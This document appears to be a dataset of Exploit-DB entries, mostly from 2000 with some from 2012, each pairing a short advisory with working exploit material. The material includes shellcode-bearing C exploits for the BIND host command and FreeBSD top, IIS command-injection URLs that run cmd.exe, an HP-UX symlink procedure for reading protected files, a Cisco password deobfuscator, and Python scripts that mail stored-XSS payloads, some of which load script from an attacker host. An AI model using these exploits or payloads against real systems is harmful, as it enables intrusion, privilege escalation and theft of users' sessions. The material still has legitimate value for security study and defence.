QLWD/code_shield huggingface dataset:
标题: Microsoft IIS 4.0 - ISAPI Buffer Overflow EDB-ID: 20383 CVE: 2000-1147 类型: LOCAL 平台: WINDOWS 发布日期: 2000-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1911/info

The ASP ISAPI file parser does not properly execute certain malformed ASP files that contain scripts with the LANGUAGE parameter containing a buffer of over 2200 characters and have the RUNAT value set as 'server'. Depending on the data entered into the buffer, a denial of service attack could be launched or arbitrary code could be executed under the SYSTEM privilege level in the event that a malicious ASP file were locally executed on IIS.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20383.zip URL: https://www.exploit-db.com/exploits/20383
标题: HP-UX 10.20 - registrar Local Arbitrary File Read EDB-ID: 20386 CVE: 2000-1127 类型: LOCAL 平台: HP-UX 发布日期: 2000-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1919/info

The registrar service that ships with version 10.20 (possibly others) of HP's HP-UX operating system contains a vulnerability that may allow a local user to read any file on the hosts filesystem. The service (which listens on tcp port 1712) writes to a log file, /etc/opt/resmon/log/registrar.log. 

Default permissions on the /etc/opt/resmon/log directory allow users to overwrite the log file within it via "mv", which is normally created and written to by root when connections are made to the service. 

After mv'ing an existing log file to another location, a malicious user can create a symbolic link to an arbitrary file they do not have read access to with the filename registrar.log in etc/opt/resmon/log. If any connections are made to the registrar service after this, the mode of the file pointed to will change to 0644 (world readable) and log data will be appended to it.

In addition to disclosing to the user restricted information, this may lead to an elevation of privileges for the local attacker.

$ uname -sr
HP-UX B.10.20
$ cd /etc/opt/resmon/log
$ mv registrar.log registrar.log.orig
$ ls -l /.sh_history
-rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
$ ln /.sh_history registrar.log
$ nc hpux.example.com 1712 < /etc/motd
$ ls -l /.sh_history
-rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
$ rm -f registrar.log
$ mv registrar.log.orig registrar.log URL: https://www.exploit-db.com/exploits/20386
标题: Apple WebObjects Developer NT4 IIS4.0 CGI-adapter 4.5 - Developer Remote Overflow EDB-ID: 20379 CVE: 2000-0299 类型: DOS 平台: WINDOWS 发布日期: 2000-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1896/info

A denial-of-service vulnerability exists in Apple's WebObjects 4.5 Developer, a popular platform for developing web-based applications. The vulnerable version is Windows NT 4.0 SP5, when run in conjunction with the CGI-adapter and IIS 4.0.

An HTTP request sent with a long header (ie, over 4.1K), will crash webobjects.exe. This may also permit the attacker to remotely execute code with the privilege of IIS, but this has not been verified. 

This vulnerability is reportedly present only in installations running under a development license. Those licensed for deployment are not affected.

POST /scripts/WebObjects.exe/EmptyProject HTTP/1.0 
Accept: AAAAAAAAA.... (about 4.1K worth of A's) 
Content-Length: 16 
uselessdata=dork URL: https://www.exploit-db.com/exploits/20379
标题: ISC BIND 8.2.2-P5 - Denial of Service EDB-ID: 20388 CVE: 2000-0887 类型: DOS 平台: LINUX 发布日期: 2000-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1923/info

BIND is the Berkeley Internet Name Daemon, a free Name Resolution software package maintained by the Internet Software Consortium. A Denial of Service exists in current implementations.

The problem occurs in the Compressed Zone Transfer (ZXFR) functionality of BIND. A default installation of BIND does not support the transfer of compressed zone files. However, daemon that allows zone transfers and recursive queries will crash if queried for a compressed zone transfer that is not in the nameserver cache. This could result in a name resolution Denial of Service for all users and systems depending upon nameservers using the affected software.

named-xfer -z zone.pippo.com -d 9 -f pics -Z dns.pippo.com URL: https://www.exploit-db.com/exploits/20388
标题: Sun Java Web Server 1.1 Beta - Viewable .jhtml Source EDB-ID: 20375 CVE: 1999-0283 类型: REMOTE 平台: WINDOWS 发布日期: 1997-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1891/info

A vulnerability exists in Sun Microsystems' JavaWebServer for Win32, version 1.1Beta. JavaWebServer is a Java-oriented web application development platform.

If a URL is submitted requesting a .jhtml file (an HTML document with embedded Java source) and a '.' or '/' character is appended to the filename, the source for that .jhtml file will be returned to the client, rather than being compiled on the server. As a result, system information which is not intended for disclosure to the client, such as database usernames and passwords, resource locations, website and network structure and business models, may be obtained by the attacker. As well as its inherent sensitivity, this type of information could potentially be used to implement other attacks on the host.

http://localhost/xyz.jhtml. 

or 

http://localhost/xyz.jhtml\ URL: https://www.exploit-db.com/exploits/20375
标题: Microsoft IIS 4.0/5.0 - Executable File Parsing EDB-ID: 20384 CVE: 2000-0886 类型: REMOTE 平台: WINDOWS 发布日期: 2000-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1912/info

When Microsoft IIS receives a valid request for an executable file, the filename is then passed onto the underlying operating system which executes the file. In the event that IIS receives a specially formed request for an executable file followed by operating system commands, IIS will proceed to process the entire string rather than rejecting it. Thus, a malicious user may perform system commands through cmd.exe under the context of the IUSR_machinename account which could possibly lead to privilege escalation, deletion, addition, and modification of files, or full compromise of the server.

In order to establish successful exploitation, the file requested must be an existing .bat or .cmd file residing in a folder that the user possesses executable permissions to.

Update (November 27, 2000): Georgi Guninski has discovered new variants of this vulnerability that have appeared after applying the patch (Q277873) supplied by Microsoft. Please see 'Exploit' for further details.

Update (December 7, 2000): Billy Nothern has discovered that the commands can also be parsed through ActiveState Perl. Please see his Bugtraq posted located under 'Credit' for further information.

**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

The following HTTP requests will display a directory listing for C:\.

http://target/scripts/file.bat"+&+dir+c:/+.exe (IIS 5.0)
http://target/scripts/file.bat"+&+dir+c:/+.com

http://target/scripts/file.bat"+"&+dir+c:/+.exe (IIS 4.0)

http://target/scripts/a.bat"+".exe?+&+dir

http://target/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe

The following URLs apply to IIS 5.0 after the patch (Q277873) provided by Microsoft is installed:

http://target/scripts/file.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:
http://target/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Cfile.ext URL: https://www.exploit-db.com/exploits/20384
标题: ISC BIND 8.1 - Host Remote Buffer Overflow EDB-ID: 20374 CVE: 2000-1029 类型: REMOTE 平台: UNIX 发布日期: 2000-10-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1887/info

An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command. 

host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.

command line:

./host -l -v -t any somezone.org <fake server>

proof of concepts exploit:

/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/

#include <stdio.h>
#include <netinet/in.h>

int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];

memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
} URL: https://www.exploit-db.com/exploits/20374
标题: FreeBSD 3.5/4.x - '/usr/bin/top' Format String EDB-ID: 20377 CVE: 2000-0998 类型: LOCAL 平台: FREEBSD 发布日期: 2000-11-01 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1895/info

top is a program used to display system usage statistics in real time written by GoupSys Consulting but shipped by default as a core component with many operating systems. On BSD systems, top is installed setgid kmem so that it may read process information from kernel memory if executed by a user who does not have that privilege.

top contains a format-string vulnerability that may lead to a compromise of effective groupid kmem on BSD systems (or similar privileges on other systems). The problem occurs in the printing of error messages to a users terminal. A string partially composed of user input (the error message) is passed to a printf() function as the format string argument, allowing malicious format specifiers in user input to corrupt stack variables and execute arbitrary code.

If a malicious user gains egid kmem, vital information can be read from the kernel memory that may lead to a further elevation of privileges (most certainly root eventually). 

The versions of top that ships with FreeBSD prior to 4.2 are known to be vulnerable. It is likely that other systems are vulnerable (though none are confirmed yet).
*/

/*
 * freebsd x86 top exploit
 * affected under top-3.5beta9 ( including this version )
 *
 * 1. get the address of .dtors from /usr/bin/top using objdump ,
 *
 *  'objdump -s -j .dtors /usr/bin/top'
 *
 * 2. divide it into four parts, and set it up into an environment variable like "XSEO="
 *
 * 3. run top, then find "your parted addresses from "kill" or "renice" command like this
 *
 *  'k %200$p' or 'r 2000 %200$p'
 *
 * 4. do exploit !
 *
 *  'k %190u%230$hn' <== 0xbf (4)
 *  'k %190u%229$hn' <== 0xbf (3)
 *  'k %214u%228$hn' <== 0xd7 (2)
 *  'k %118u%227$hn' <== 0x77 (1)
 *
 * truefinder , seo@igrus.inha.ac.kr
 * thx  mat, labman, zen-parse
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x90
#define BUFSIZE 2048

char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */

char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */

int
main(void)
{
        char scbuf[BUFSIZE];
        char *scp;

        scp = (char*)scbuf;
        memset( scbuf, NOP, BUFSIZE );

        scp += ( BUFSIZE - strlen(sc) - 1);
        memcpy( scp, sc ,strlen(sc));

        scbuf[ BUFSIZE - 1] = '\0';

        memcpy( scbuf, "EGG=", 4);

        putenv(fmt);
        putenv(scbuf);

        system("/bin/bash");
} URL: https://www.exploit-db.com/exploits/20377
标题: Kootenay Web Inc whois 1.0 - Remote Command Execution EDB-ID: 20370 CVE: 2000-0941 类型: REMOTE 平台: CGI 发布日期: 2000-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/1883/info

whois is a utility used to find general information and technical details about registered domain names. A vulnerability exists in Kootenay Web Inc's Whois (release v.1.9), a web interface to whois running on a linux server. 

Due to a failure to properly check user-supplied input to a form variable for shell metacharacters, a malicious remote user can trick the script into executing arbitrary code on the host system. At that point an attacker can gain local shell access to the system with the privileges of the webserver. Further compromise (eg, root) may follow.

Unsafe code:
$site = $query->param('whois');
....
$app = `whois $site`;
print "$app .......

Proof of concept:
Type ";id" (without the quotes) into the input box. URL: https://www.exploit-db.com/exploits/20370
标题: HP-UX 9.x/10.x/11.x - cu Buffer Overflow EDB-ID: 20373 CVE: 2000-1028 类型: DOS 平台: HP-UX 发布日期: 2000-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1886/info

cu is a unix utility that is used for communication between two hosts (usually over phone lines). It is typically isntalled setuid root so that it can access communications hardware when executed by a regular user. 

The version of cu that ships with HP-UX is vulnerable to a buffer overflow attack that may result in an escalation of privileges if exploited properly. The argument to the -l option (the line) is handled in an unsafe manner and if the length of it exceeds 9777 bytes, it will corrupt vital stack variables. This may result in shellcode provided by the user being executed with the privileges of the process (euid 0).


$ ls -la `which cu`
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu

Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a chou : Requested device/system name not known

$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault URL: https://www.exploit-db.com/exploits/20373
标题: xeams email server 4.4 build 5720 - Persistent Cross-Site Scripting EDB-ID: 20367 CVE: 2012-2569 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Xeams Email Server
Version: 4.4 Build 5720
Vendor Site: http://www.xeams.com

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 
4: <SCRIPT>alert('XSS')</SCRIPT> 
5: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
6: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 
7: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 
8: <<SCRIPT>alert("XSS");//<</SCRIPT> 
9: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 
10: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT> 
11: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 
12: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 
13: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 
15: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 
16: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 
17: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


import smtplib, urllib2
 
payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20367
标题: Cisco Virtual Central Office 4000 (VCO/4K) 5.1.3 - Remote Username / Password Retrieval EDB-ID: 20372 CVE: 2000-0955 类型: REMOTE 平台: HARDWARE 发布日期: 2000-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1885/info

A vulnerability exists in the Cisco Virtual Central Office 4000 (VCO/4K) programmable voice switch running software versions 5.13 and earlier.

The usernames and passwords for the device's SNMP administration interface are protected by a simple substitution cipher which can be easily defeated. As a result, if the "encrypted" passwords are retrieved, (for example, through the read-only community string) an attacker can obtain a list of valid usernames and passwords potentially allowing an elevation of privileges and possibly more serious consequences.

#!/usr/bin/perl

printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");

printf ("Enter Password: ");
$pw = <STDIN>;
chop $pw;

printf("Result: ");
for ($pos = 0; $pos < length($pw); $pos++){
printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n"); URL: https://www.exploit-db.com/exploits/20372
标题: WordPress Plugin simplemail 1.0.6 - Persistent Cross-Site Scripting EDB-ID: 20361 CVE: 2012-2579 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SimpleMail 
Version: 1.0.6 (free version)
Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley
Software Download: http://wordpress.org/extend/plugins/wp-simplemail/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Ubuntu LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12


Injection Points: To, From, Date, Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 
6: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
7: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
8: <SCRIPT SRC=//attacker/.j> 
9: <<SCRIPT>alert("XSS");//<</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
12: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
13: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


import smtplib, urllib2
   
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
   
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
   
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
   
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20361
标题: WordPress Plugin postie 1.4.3 - Persistent Cross-Site Scripting EDB-ID: 20360 CVE: 2012-2580 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Postie
Version: 1.4.3
Software Download: http://wordpress.org/extend/plugins/postie/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update received from CERT. Vendor was advised to contact researcher. No other contact received.
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: From
Injection Payload(s):
1: <BODY ONLOAD=alert('XSS')> 
2: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

'''


import smtplib, urllib2
  
payload = """<BODY ONLOAD=alert('XSS')>"""
  
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local" + payload + "\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
  
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
  
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20360